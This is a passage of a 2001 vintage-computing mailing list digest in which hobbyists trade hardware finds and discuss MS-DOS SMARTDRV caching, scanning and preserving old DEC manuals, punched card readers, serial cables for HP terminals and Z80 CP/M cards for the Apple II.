>I wasn't referring to a drain on bandwidth on the whole, but for folks who >are trying to download these scanned documents to use. I don't care, I >have a cable modem. But for someone with a 56K modem, a 3.5MB PDF file is >hell :( I don't mind the 3.5MB files...it's the 10meg and over that I dislike. I still run a 56k for this connection at home. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From jrkeys at concentric.net Fri Jun 22 19:17:38 2001 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 19:04:44 2005 Subject: More finds for the collections Message-ID: <019f01c0fb79$eab32f00$38dab0d0@default> More finds: 1. Compaq LTE in great shape 2. IBM ext SCSI cdrom drive type 7210 3. Atari SC1224 ver2 monitor 4. IBM PC Color display model 5153 5. ATARI mouse model STM1 6. Valiant MKII robot turtle for the Apple II, got the software and warranty card but cables or manuals. 7. The other items are too new to list yet. Keep computing John From cisin at xenosoft.com Fri Jun 22 19:08:32 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:44 2005 Subject: SMARTDRV (was: MS-DOS version (was: What's best to do?? In-Reply-To: Message-ID: On Fri, 22 Jun 2001, Sellam Ismail wrote: > > confirmation before over-writing an existing file. They also "fixed > Gawd I hated that...having to confirm that YES, I REALLY DO WANT TO DELETE > THIS FARQING FILE DAMN IT! Eventually I just put a COPYCMD=/Y (or > something like that) in my CONFIG.SYS file which forced the equivalent of > a /Y option (effectively, do not confirm) to any command that could > overwrite/delete files and the problem was solved. At least there was provision for changing objectionable defaults. There were some tests done a while back (maybe Don Norman or jef Raskin might know where to find them) that showed that "Are you sure" produced a conditioned reflex, and people would confirm before they finished reading the question. > Stupid Microsoft. Not to bash MICROS~1, but don't YOU consider that redundant? [SMARTDRV] > I realized early on it was ripe for trouble so I automatically disabled > it. Smart Sellam. -- Grumpy Ol' Fred cisin@xenosoft.com From cisin at xenosoft.com Fri Jun 22 19:10:19 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:44 2005 Subject: Punched card readers In-Reply-To: Message-ID: > >compliance wisdom, would choose Windows NT to control battleships? > If you're referring to battleships specifically, such as the > 4 Iowa class, they've all been gone since about '94. Ya mean that NT sunk our battleships??? From blacklord at telstra.com Fri Jun 22 19:18:34 2001 From: blacklord at telstra.com (blacklord) Date: Sun Feb 27 19:04:44 2005 Subject: Helett Packard 2647A Graphics Terminal Message-ID: <31489831608e.31608e314898@bigpond.com> Just found this new toy, looks impressive! I know it has it's own version of Basic & this one is intact with it's serial cable & a collection of cards inside (if I can figure out how to open it, I'll post what they are). A couple of questions: What can I do with it? Is the serial cable straight through or null modem? Can I connect it to one of my modern PC's ? Where can I find info on this beast ? (alright, *4* questions then....) BL ---------------- Powered by telstra.com From jhellige at earthlink.net Fri Jun 22 19:44:40 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:44 2005 Subject: Punched card readers In-Reply-To: References: Message-ID: >Ya mean that NT sunk our battleships??? Thankfully, no. They've all been relegated to floating museums. All the aircraft carriers, subs, and battleships scattered along all the coasts as museums/tourist attractions would make quite a fleet all on their own! Certainly you would never see anything like a battleship ever again if the existing ones were scrapped. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From chomko at greenbelt.com Fri Jun 22 19:50:25 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:04:45 2005 Subject: IBM RS6000 7013 parts needed References: Message-ID: <3B33E7D0.D02B9344@greenbelt.com> This is vintage? Eric "Francis. Javier Mesa" wrote: > Hi! I just got a big ol' RS6000 59h powerserver. It is the deskside > chassis (7013 series), and I am in dire need of a couple of parts: > > a) The front and back skins (I have the full chassis, except that it is > missing the back/front covers....) > > b) The key assembly, with key. Since I don't have the key and I need it so > I can get into service mode. Of course I could just short the cables > comming out of the key... but that would not be very aesthetic!!! :) > > So if anyone has one of these beasts around, please let me know. I don't > need anything that is specific to the 59h model, since the guts of the > computer are in OK condition. But if you have a 520 on up I would be > interested in those parts (maybe some extra stuff like CD/ROM, tape > drive). > > If anyone wants I can trade them for some DEC 3000 alpha AXP parts (I have > some 300lx and some 600 models) > > cheers. > > _______________________________________________________________________ > > Francisco J. MesaMartinez http://www.cse.ucsc.edu/~javi > _______________________________________________________________________ > > Basking Engineering Ctr #228 email:javi@cse.ucsc.edu > University of California > Santa Cruz, CA 95064 phone:(831) 502-2073 > _______________________________________________________________________ From chomko at greenbelt.com Fri Jun 22 19:53:17 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:04:45 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking References: Message-ID: <3B33E87C.52D23792@greenbelt.com> Sellam Ismail wrote: > On Fri, 22 Jun 2001, Jeff Hellige wrote: > > > One of the big problems I remember with Smartdrive is that > > people would shut the system down before all the cache had been > > written to the disk. On any machine I set up, I always made it a > > point to put: > > > > Smartdrv /c > > > > In a batch file called SHUT.BAT and I'd execute it to flush > > the RAM prior to shutting down. > > I turned off write caching all together. Better safe than stupid. > ^^^^^^^^^^^^^^^^^ False! W Bush is president. :) Eric > > Sellam Ismail Vintage Computer Festival > ------------------------------------------------------------------------------ > International Man of Intrigue and Danger http://www.vintage.org From chomko at greenbelt.com Fri Jun 22 19:59:35 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:04:45 2005 Subject: Punched card readers References: Message-ID: <3B33E9F7.F19D9188@greenbelt.com> Sellam Ismail wrote: > On Fri, 22 Jun 2001, Jeff Hellige wrote: > > > I'll have to see if I still have that NEETS module here. I > > don't remember the section on the Harris systems though. I know some > > of the oilers were still using them since the ship wasn't large enough > > to accomodate the Honeywell systems. The last time I actually worked > > on one was in '93. Even the Honeywell's are being replaced by micro's > > running Unix though. > > Straying a bit off topic, can someone explain why the Navy, a branch of > the US military, requiring rock solid, uncompromising stability in the > systems that control their vessels, in their infinite procedural and > compliance wisdom, would choose Windows NT to control battleships? CONTROL battleships? Or be on board in a network where someone needs to type up a Word or Excel file? There is a difference. At NASA I know of no Win NT CONTROL aspect of a satellite. The damn things run Mil-Std 1750A architectures. And I know that the updated the HST with a rad-hardened 486 replaced the older rad-hardened 286. I will find out what OS (low-level) actually CONTROLs it. Probably a Unix variant. Eric > > > Or was that just a sick joke? I know it wasn't, but I'd like to believe > it was ;) > > Sellam Ismail Vintage Computer Festival > ------------------------------------------------------------------------------ > International Man of Intrigue and Danger http://www.vintage.org From chomko at greenbelt.com Fri Jun 22 20:12:15 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:04:45 2005 Subject: Punched card readers References: Message-ID: <3B33ECEF.26E5B03C@greenbelt.com> Jeff Hellige wrote: > >Straying a bit off topic, can someone explain why the Navy, a branch of > >the US military, requiring rock solid, uncompromising stability in the > >systems that control their vessels, in their infinite procedural and > >compliance wisdom, would choose Windows NT to control battleships? > >Or was that just a sick joke? I know it wasn't, but I'd like to believe > >it was ;) > > If you're referring to battleships specifically, such as the > 4 Iowa class, they've all been gone since about '94. I doubt NT had > much, if anything, to do with whatever micros they had onboard. Even > Enterprise didn't get the bulk of it's NT workstations/LAN until well > into '97. If you're referring to warships in general, yes it's sad > but true that NT appears in a few places that truly should have more > stability and security than that. LIke many other large networks, > the Navy's has been going towards a 'one size fits all' mentality. I dunno, I suspect they got caught up in all the COTS (Commercial Off The Shelf) stuff. The problem there is that you end paying a bunch of programmers, managers, middle-managers and still others to evaluate COTS code and pay them the same as you would to develop it themselves. Surely, no one should try and reinvent the buisness PC. But, battleship control, like remote sensing satellite control is proto-typical in nature. At least to the level where a specific product has a limited narrow application compared to said PC. > > Of course, we all know that type of thinking never works out. > I could not have said it better myself. :) Eric > > Jeff > -- > Collector of Classic Microcomputers and Video Game Systems: > Home of the TRS-80 Model 2000 FAQ File > http://www.geocities.com/siliconvalley/lakes/6757 From leec at slip.net Fri Jun 22 20:24:45 2001 From: leec at slip.net (Lee Courtney) Date: Sun Feb 27 19:04:45 2005 Subject: Punched card readers In-Reply-To: <3B328C86.28339.15B66F13@localhost> Message-ID: Brian, We have a Documation / PC reader workstation setup at The Computer Museum History Center that we use to archive/transfer punched cards to other media. We have used it mainly to archive the 1620 IBM and User Group program library - > 200,000 punched cards. Contact me and we'll figure out how to get your stuff read. Lee Courtney President Monterey Software Group Inc. 1350 Pear Avenue, Suite J Mountain View, California 94043-1302 U.S.A. 650-964-7052 voice 650-964-6735 fax Advanced Authentication, Audit, and Access Control Tools and Consulting for HP3000 Business Servers http://www.editcorp.com/Businesses/MontereySoftware > -----Original Message----- > From: owner-classiccmp@classiccmp.org > [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Brian Knittel > Sent: Friday, June 22, 2001 12:09 AM > To: classiccmp@classiccmp.org > Subject: Punched card readers > > > Does anyone know where to find a punched card reader > these days? I'm looking for a small desktop unit that > I could interface to a PC. > > I know DEC sold a model CR11, and there were others > out there. I remember using some neat little card > readers that were stationed here and there on campus > at UC Berkeley in the 70's for remote job entry to > the CDC-6400 (and if I remember correctly they had a > DG Nova underneath). > > Are there any of these out there, that I could > take, borrow, or buy? I'll be starting an IBM > 1130 software archiving project later this summer. > > (I did a google search and about all I found were > requests just like this one, from the classiccmp > archives. Hmm. And there's one place that'll rent you > a desktop reader for $1500/month). > > Thanks, > Brian > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > _| _| _| Brian Knittel / Quarterbyte Systems, Inc. > _| _| _| Tel: 1-510-559-7930 Fax: 1-510-525-6889 > _| _| _| Email: brian@quarterbyte.com > _| _| _| http://www.quarterbyte.com > From pete at dunnington.u-net.com Fri Jun 22 20:30:17 2001 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 19:04:45 2005 Subject: preserving / ressurecting old docs? In-Reply-To: Sellam Ismail "Re: preserving / ressurecting old docs?" (Jun 22, 7:47) References: Message-ID: <10106230230.ZM19352@mindy.dunnington.u-net.com> On Jun 22, 7:47, Sellam Ismail wrote: > On Fri, 22 Jun 2001, Ethan Dicks wrote: > > > Talk to Doug Jones. He recommends dismantling the book carefully > > for the best quality copies/scans. > I completely recommend AGAINST destroying the original. Not only is it in > some cases a historical artifact on its own, if the digital copy were ever > to be lost then you're SOL. I too was going to suggest Doug Jones, but Ethan beat me to it. however, if you read Doug's pages, you'll see he thought carefully about this, consulted conservators, and actually describes very carefully how and why to minimise the historical loss. http://www.cs.uiowa.edu/~jones/book/index.html -- Pete Peter Turnbull Network Manager University of York From healyzh at aracnet.com Fri Jun 22 20:50:59 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:04:45 2005 Subject: Punched card readers In-Reply-To: from "Jeff Hellige" at Jun 22, 2001 06:15:36 PM Message-ID: <200106230150.f5N1oxN19043@shell1.aracnet.com> > I'll have to see if I still have that NEETS module here. I > don't remember the section on the Harris systems though. I know some I think I've got it still, in fact I think I know where it is. I'm still trying to get all the training manuals I collected over the years together. However, I've got most, if not all of the NEETS modules I collected sitting on a shelf in my Living Room. I just wish I had the old DS RTMs! They covered stuff like core memory. Still the DP ones I've got have some cools stuff since I've got the old 3&2 and 1&C with stuff like the IBM 360 :^) There should also be a brief mention of the DPS-8 in there. > I've played the Star Trek as installed on the DPS-6 but never > on the Harris. Given the wide spread porting of that game, it'd be > interesting to see an archive that included the various source > versions for it. The Harris system had a totally unique version (at least I've never seen anything else like it). You were piloting the Enterprise against Klingons IIRC. The real problem is that it's been 12+ years since I last played it. I spent most of my time playing games playing Zork. Zane From healyzh at aracnet.com Fri Jun 22 21:00:49 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:04:45 2005 Subject: BIG haul of DEC docs! In-Reply-To: <3B33D71E.C461ABE@idirect.com> from "Jerome Fine" at Jun 22, 2001 07:39:10 PM Message-ID: <200106230200.f5N20n919382@shell1.aracnet.com> > If we could have some co-ordination between those that have and are willing > to use scanners and those that have the books, maybe we can make up a list > of all the PDP-11 books into five lists (maybe more) that might be useful? > (a) Hardware Manuals > (b) RSTS/E Manuals > (c) RSX Manuals > (d) RT-11 Manuals > (e) Other Manuals - if this list is too large, then divide it as well. Something to consider. It's my understanding that it is OK, to scan/copy the hardware doc's. However, I'm not sure that the same is true with the OS Manuals, in fact I'm fairly sure that it isn't OK. This is unfortunate as I'm guessing that there are even fewer Hobbyist with the OS doc's than have hardware doc's. Keep in mind when talking about RSTS/E, RSX-11M/M+, and RT-11 manuals you're talking about software that you can still purchase, and Doc sets that are still for sale. I'm guessing Mentec, and possibly Compaq would take a dim view of copying these manuals. Zane From mbg at world.std.com Fri Jun 22 21:11:37 2001 From: mbg at world.std.com (Megan) Date: Sun Feb 27 19:04:45 2005 Subject: Wave of the Future (Spam) References: Message-ID: <200106230211.WAA16864@world.std.com> >>> One of my friends is a spammer, and what he does is setup a whole new >>> "persona" for each email blitz. Cost of doing business as far as he is >>> concerned. >> >>Can I have your friend's home address? > >He is a 6'8" 260 lb merchant marine, do you REALLY want to knock on his >door and explain what a naughty spammer he is? No, but personally I'd like to see any spammer suspended by any available appendage until said appendage shrivels and falls off... From fmc at reanimators.org Fri Jun 22 21:00:07 2001 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 19:04:45 2005 Subject: Helett Packard 2647A Graphics Terminal In-Reply-To: blacklord's message of "Sat, 23 Jun 2001 10:18:34 +1000" References: <31489831608e.31608e314898@bigpond.com> Message-ID: <200106230200.f5N207d05208@daemonweed.reanimators.org> blacklord wrote: > A couple of questions: What can I do with it? Is the serial cable > straight through or null modem? Can I connect it to one of my modern > PC's ? Where can I find info on this beast ? (alright, *4* questions > then....) HP offered several serial cables for the 264X terminal, but if it's got a DB25 plug then there is a good chance that it wants to be plugged into a modem or other DCE-pinout device. That means you will need a null-modem cable to plug it into an IBM PC serial port. -Frank McConnell From rcini at optonline.net Fri Jun 22 21:27:37 2001 From: rcini at optonline.net (Richard A. Cini, Jr.) Date: Sun Feb 27 19:04:45 2005 Subject: Software for Apple][ Z80 card Message-ID: Hi: I came across a Z80 card in my box of random Apple ][ expansion cards. What software was used with this card? Was there a special boot dist to activate it? Rich Rich Cini Collector of classic computers Build Master for the Altair32 Emulation Project Web site: http://highgate.comm.sfu.ca/~rcini/classiccmp/ /************************************************************/ From mbg at world.std.com Fri Jun 22 21:31:20 2001 From: mbg at world.std.com (Megan) Date: Sun Feb 27 19:04:45 2005 Subject: preserving / ressurecting old docs? References: Message-ID: <200106230231.WAA05107@world.std.com> >And others have pointed out that DEC handbooks are on truly lousy paper. >Therefore, the _solution_ is to scan them at best possible resolution. >Fix any scanning artifacts, the _print them_ on acid free paper and bind >_that_. Problem solved, the book still exists (now in a good form) and >there is a digital copy as well. Keep in mind that only one copy of any of the handbooks need be sacrificed in this manner... I sure hope that lots of people don't start cutting up their handbooks to make copies. Megan Gentry Former RT-11 Developer +--------------------------------+-------------------------------------+ | Megan Gentry, EMT/B, PP-ASEL | Internet (work): gentry!zk3.dec.com | | Unix Support Engineering Group | (home): mbg!world.std.com | | Compaq Computer Corporation | addresses need '@' in place of '!' | | 110 Spitbrook Rd. ZK03-2/T43 | URL: http://world.std.com/~mbg/ | | Nashua, NH 03062 | "pdp-11 programmer - some assembler | | (603) 884 1055 | required." - mbg KB1FCA | +--------------------------------+-------------------------------------+ From rcini at optonline.net Fri Jun 22 21:43:52 2001 From: rcini at optonline.net (Richard A. Cini, Jr.) Date: Sun Feb 27 19:04:45 2005 Subject: Anyone hear of PMC MicroMate? Message-ID: Has anyone used a PMC MicroMate? It looks like the old Ciarcia SBC180 project with a Z80 processor and a 5-1/4" floppy drive in a single case the size of an external floppy drive for the TRS80. The processor is claimed to be a Z8400A with Z8430 and Z8470 support chips. All unfamiliar identifications to me. Any thoughts on this beastie? Rich Rich Cini Collector of classic computers Build Master for the Altair32 Emulation Project Web site: http://highgate.comm.sfu.ca/~rcini/classiccmp/ /************************************************************/ From louiss at gate.net Fri Jun 22 21:55:05 2001 From: louiss at gate.net (Louis Schulman) Date: Sun Feb 27 19:04:45 2005 Subject: Software for Apple][ Z80 card In-Reply-To: Message-ID: <200106230255.WAA06807@mclean.mail.mindspring.net> On Fri, 22 Jun 2001 22:27:37 -0400, Richard A. Cini, Jr. wrote: #Hi: # # I came across a Z80 card in my box of random Apple ][ expansion cards. What #software was used with this card? Was there a special boot dist to activate #it? This is a coprocessor card used to run CP/M on an Apple. So, of course there is a special boot disk, one with the CP/M operating system on it. There were several varieties of these cards, and each had its own boot disk. If you will identify the specific brand and model, I can send you a disk image of the appropriate disk(s). Louis From vance at ikickass.org Fri Jun 22 21:53:45 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:45 2005 Subject: IBM RS6000 7013 parts needed In-Reply-To: <3B33E7D0.D02B9344@greenbelt.com> Message-ID: It might very well be. Those POWER-based microchannel machines have been around for a while. Peace... Sridhar On Fri, 22 Jun 2001, Eric Chomko wrote: > This is vintage? > > Eric > > "Francis. Javier Mesa" wrote: > > > Hi! I just got a big ol' RS6000 59h powerserver. It is the deskside > > chassis (7013 series), and I am in dire need of a couple of parts: > > > > a) The front and back skins (I have the full chassis, except that it is > > missing the back/front covers....) > > > > b) The key assembly, with key. Since I don't have the key and I need it so > > I can get into service mode. Of course I could just short the cables > > comming out of the key... but that would not be very aesthetic!!! :) > > > > So if anyone has one of these beasts around, please let me know. I don't > > need anything that is specific to the 59h model, since the guts of the > > computer are in OK condition. But if you have a 520 on up I would be > > interested in those parts (maybe some extra stuff like CD/ROM, tape > > drive). > > > > If anyone wants I can trade them for some DEC 3000 alpha AXP parts (I have > > some 300lx and some 600 models) > > > > cheers. > > > > _______________________________________________________________________ > > > > Francisco J. MesaMartinez http://www.cse.ucsc.edu/~javi > > _______________________________________________________________________ > > > > Basking Engineering Ctr #228 email:javi@cse.ucsc.edu > > University of California > > Santa Cruz, CA 95064 phone:(831) 502-2073 > > _______________________________________________________________________ > > > From foo at siconic.com Fri Jun 22 21:10:52 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:45 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: Message-ID: On Fri, 22 Jun 2001, Fred Cisin (XenoSoft) wrote: > How about 6.00, 6.10, 6.20, 6.21, 6.22, 6.23, and 6.30? Well, THOSE > are OT for thisa list. 6.23, 6.30??? I thought the last MS-DOS maintenance upgrade was 6.22. What happened after 6.22? Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From djg at drs-esg.com Fri Jun 22 22:20:44 2001 From: djg at drs-esg.com (David Gesswein) Date: Sun Feb 27 19:04:45 2005 Subject: preserving / ressurecting old docs? Message-ID: <200106230320.XAA04267@drs-esg.com> From: Bill Bradford >I'm scanning them in as 100dpi grayscale GIFs, then I will convert to >other format(s) and eventually to PDF. Scanning directly to PDF with >HP's software produces horrible output with compression artifacts. I would really recommend higher resolution. 100 DPI is the lowest resolution fax quality. Being grey scale will help readability on the screen but printing probably won't work well on most printers. I recommend 300 DPI black and white (line art) minimum for most of the pages. For the pictures a grey scale scan makes the pictures better and if you have software which allows mixing them that would work well and allow for the smallest file size. The black and white compress well when you use group 4 tiff. PDF also supports that compression format which is how I do the on the fly conversion to PDF on my site, it just adds PDF wrapper to the tiff. For smallest size the tiff should be singe strip. You will need to adjust the threshold setting for best results. Also when you are looking at artifacts from grey scale scanning view at 1:1 scale so you aren't seeing the artifacts from the rescaling to screen resolution. It can make it look much worse than the scanned artifacts from the screen printing actually are. Since what I am using doesn't allow mixing I have just been doing the black and white scans and seperatly storing grey scale scans for future. I have also switched to doing the scans at 600 DPI for best quality and making 300 DPI copies available for people with slower links. Hopefully these will be around to when the size doesn't matter. I did the cut the pages out of the binding for the handbook I scanned since it was falling apart. I have found that I can't get good scans on my scanner otherwise since the pages are still too bent so the scans are warped. I know that this is a lot of personal preferences and their isn't one best way. Email me if you wish any more information on how I have been scanning. My scans (and other peoples) http://www.pdp8.net/query_docs/query.shtml From foo at siconic.com Fri Jun 22 21:22:37 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:45 2005 Subject: Software for Apple][ Z80 card In-Reply-To: Message-ID: On Fri, 22 Jun 2001, Richard A. Cini, Jr. wrote: > I came across a Z80 card in my box of random Apple ][ expansion > cards. What software was used with this card? Was there a special boot > dist to activate it? What kind of card was it? Each card generally required a specific CP/M boot disk from the manufacturer. Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From dittman at dittman.net Fri Jun 22 22:25:40 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:04:45 2005 Subject: Anyone hear of PMC MicroMate? In-Reply-To: from "Richard A. Cini, Jr." at Jun 22, 2001 10:43:52 PM Message-ID: <200106230325.f5N3PeL14794@narnia.int.dittman.net> > Has anyone used a PMC MicroMate? It looks like the old Ciarcia SBC180 > project with a Z80 processor and a 5-1/4" floppy drive in a single case the > size of an external floppy drive for the TRS80. The processor is claimed to > be a Z8400A with Z8430 and Z8470 support chips. All unfamiliar > identifications to me. > > Any thoughts on this beastie? There's one on eBay, so I took a look at the specs. From what I've found the 101 has 128K of RAM and ran CP/M Plus. I didn't buy it as I've decided to limit my collecting. While I used to use CP/M quite a bit (and even wrote a 2.2 and Plus BIOS for the TRS-80 Model 4), I'm only going to collect DEC stuff. I have an Ampro LB and a TRS-80 Model 4P, and that's the limit of my CP/M collection. I don't even have the LB or 4P in a position to run at this point, and after I get the LB software and docs together I'll post them for sale here. The 4P will stay until I decide to offload my TRS-80 collection. -- Eric Dittman dittman@dittman.net From foo at siconic.com Fri Jun 22 21:29:05 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:45 2005 Subject: Anyone hear of PMC MicroMate? In-Reply-To: Message-ID: On Fri, 22 Jun 2001, Richard A. Cini, Jr. wrote: > Has anyone used a PMC MicroMate? It looks like the old Ciarcia SBC180 > project with a Z80 processor and a 5-1/4" floppy drive in a single case the > size of an external floppy drive for the TRS80. The processor is claimed to > be a Z8400A with Z8430 and Z8470 support chips. All unfamiliar > identifications to me. > > Any thoughts on this beastie? I've got one, sans disk drive. Opening it up I find it has a Z80A CPU (designation is Z8400A...whoever wrote up whatever you read about it was confused :) This is one cool little machine. It measures 3.5" wide by ~15.5" long and ~6.5" high. Mine is serial number 001111 :) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From cisin at xenosoft.com Fri Jun 22 22:28:57 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:45 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: Message-ID: > > How about 6.00, 6.10, 6.20, 6.21, 6.22, 6.23, and 6.30? Well, THOSE > > are OT for this list. On Fri, 22 Jun 2001, Sellam Ismail wrote: > 6.23, 6.30??? I thought the last MS-DOS maintenance upgrade was 6.22. > What happened after 6.22? Ooops. 6.23 was a typo. I don't think that there was ever such. Sorry about that. 6.22 is the last release from MICROS~1 that I'm aware of, although internally, WIN95 is 7.00, WIN98 is 7.10, ... PC-DOS 6.30 was IBM's version of MS-DOS 6.2x (PC-DOS 6.10 was IBM's version of MS-DOS 6.00) -- Grumpy Ol' Fred cisin@xenosoft.com From mrbill at mrbill.net Fri Jun 22 23:03:31 2001 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 19:04:45 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <200106230320.XAA04267@drs-esg.com>; from djg@drs-esg.com on Fri, Jun 22, 2001 at 11:20:44PM -0400 References: <200106230320.XAA04267@drs-esg.com> Message-ID: <20010622230331.H27289@mrbill.net> On Fri, Jun 22, 2001 at 11:20:44PM -0400, David Gesswein wrote: > My scans (and other peoples) > http://www.pdp8.net/query_docs/query.shtml Thanks for the tips. Looks like you've already done quite a few of the handbooks that I have - which will save some work. I'll also link to your site from decdocs.org if thats okay with you. Bill -- Bill Bradford mrbill@mrbill.net Austin, TX From rdd at smart.net Fri Jun 22 23:18:37 2001 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 19:04:45 2005 Subject: Free CDC boards In-Reply-To: <3B1EB56B.176DAEC6@tiac.net> Message-ID: On Wed, 6 Jun 2001, Bob Shannon wrote: > Isopropyl alcohol is an excellent solvent and disinfectant for rodent damaged > electronics. > > You will be amazed at how well it works! Thanks! I'll give it a try. The boards are outside in plastic covered boxes; surely no worse than when I removed them from my car's trunk. :-) I just hope the old 1970's era HP keyboard is ok; I just remembered that it's in on of those boxes too. At this time, I'm still recovering from cleaning up over 100 Sun VME-bus boards nearly four years ago that were filled with dust, dirt and spiders (the former owner kept the boards in a big stack under his front porch), although the biggish spiders have returned, and are now in my garage and basement. As to the CDC boards: lesson learned. Clean up any spilled keep horse feed in a car trunk that has rust-holes in it, large enough that much smaller four-footed critters, that squeak, might get through... and don't leave computer equipment in the trunk. Best regards, Bob -- Copyright (C) 2001 R. D. Davis The difference between humans & other animals: All Rights Reserved an unnatural belief that we're above Nature & rdd@perqlogic.com 410-744-4900 her other creatures, using dogma to justify such http://www.perqlogic.com beliefs and to justify much human cruelty. From dittman at dittman.net Sat Jun 23 00:16:23 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:04:45 2005 Subject: DECrepeater 90C Message-ID: <200106230516.f5N5GNf15420@narnia.int.dittman.net> Does anyone need a DECrepeater 90C? I have one that I'll give to anyone for the price of shipping. There is no power supply, and I don't know if it works, and I don't even know what it does, but my best guess is it is for linking together thinwire network devices. -- Eric Dittman dittman@dittman.net From bdc at world.std.com Sat Jun 23 00:34:14 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:45 2005 Subject: preserving / ressurecting old docs? In-Reply-To: Message-ID: On Fri, 22 Jun 2001, Tony Duell wrote: > > On Fri, 22 Jun 2001, Sellam Ismail wrote: > OK, which would you rather have to read? A book (printed in English) > written about 150 years ago, or a magnetic tape from an Elliot 803? > > Point is, as we've argued many times before, digitally-recorded data has > a much shorter life than dead trees (both due to degredation of the > magnetic media and the fact that the equipment used to read it becomes > obsolete). I think you mean to say "digital media" has a much shorter life than dead trees. And even that's debatable depending on the quality of paper and inks used. As long as you have a process in place to keep migrating the digital information off of generation "N" digital media onto generation "N+1" digital media, say every five years. You'll be able to keep exact copies of it forever. The main thing is to not let the process lapse. A fairly good practical example of this actually working can be found by looking no further than the DNA of a species. Modern homo sapiens have been around for a lot longer than books. The species has managed to stick around this long by passing it's DNA along from individual to individual over many tens of thousands of years. It's not a perfect example, given that the process involves blending DNA from two sources, but the "copy and pass on" mechanism obviously is one that works. Digital media should only be looked at as a temporary container. The main weakness here is that if the copying process breaks down (i.e. someone lapses and doesn't copy the tapes in some reasonable amount of time), then the information won't be passed on. -brian. From mikeford at socal.rr.com Sat Jun 23 00:26:57 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:45 2005 Subject: Wave of the Future (Spam) In-Reply-To: References: Message-ID: >> I don't see spam as a long term problem though. > >Oh? I see it growing. I do a lot of posting, usenet etc. and I always use my real name and my email ID is my real name, and I never do anything to hide my email address. Maybe 10% of my email is unwanted junk, split about half and half between spam and web site junk where I failed to say no after visiting. Spam is so far from my problem list it isn't even funny. My sincere guess is that the solution to spam will be more of a PITA than spam. From mikeford at socal.rr.com Sat Jun 23 00:40:08 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:04:45 2005 Subject: Boom cars (ot for sure...) In-Reply-To: Message-ID: I am reasonably certain the cell phone "trap" exists, and that I have read about it, but I don't remember any details. It was for a place like a large indoor theater, or some such where it was quite reasonable to forbid any cell phone usage. RE boomer cars The basic problem is the inverse square relation between distance and spl, means you are going to need to make HUGE amounts more sound in your car before the boomer guy would ever hear ANYTHING but his own system. From fmc at reanimators.org Sat Jun 23 01:03:12 2001 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 19:04:45 2005 Subject: Helett Packard 2647A Graphics Terminal In-Reply-To: blacklord's message of "Sat, 23 Jun 2001 10:18:34 +1000" References: <31489831608e.31608e314898@bigpond.com> Message-ID: <200106230603.f5N63CW11678@daemonweed.reanimators.org> blacklord wrote: > I know it has it's own version of Basic & this one is intact with it's > serial cable & a collection of cards inside (if I can figure out how to > open it, I'll post what they are). Oh yeah, how to open it: The terminal is sort of a clamshell design, with the CRT and its supporting circuitry in the top half, and the power supply and most of the smarts in the bottom half. The clamshell is hinged at the back. Along each of the left and right sides, there's sort of a horizontal slot where the halves of the clamshell meet. Inside this slot, about 3/4 of the way toward the front, is a vertical slot. You need to find something skinny, stiff, and flat, and push it into that vertical slot. What you're really trying to push is a catch that's just inside the slot on the top half of the clamshell. When you release both catches the top half of the clamshell should lift up from the front. If you have the manuals there may be a little manila envelope with them containing two flat metal "keys". They're the doohickeys that you're supposed to use to open the terminal. -Frank McConnell From jweder at telusplanet.com Sat Jun 23 01:29:52 2001 From: jweder at telusplanet.com (Joel Weder) Date: Sun Feb 27 19:04:45 2005 Subject: TI 8002A... In-Reply-To: <200106230203.VAA53475@opal.tseinc.com> Message-ID: Hi all... I just discovered, out in our dusty storage area, a TI 8002A microprocessor. It consists of three units, a main processor with several switches and two boxes with 2 8" floppy drives in each. The main unit has an EPROM programming socket on the front, and according to the boss it was apparently meant for 8080 RTU system development. Anybody know anything about these beasties? Joel A. Weder jweder@telusplanet.net 403-556-4020 From optimus at 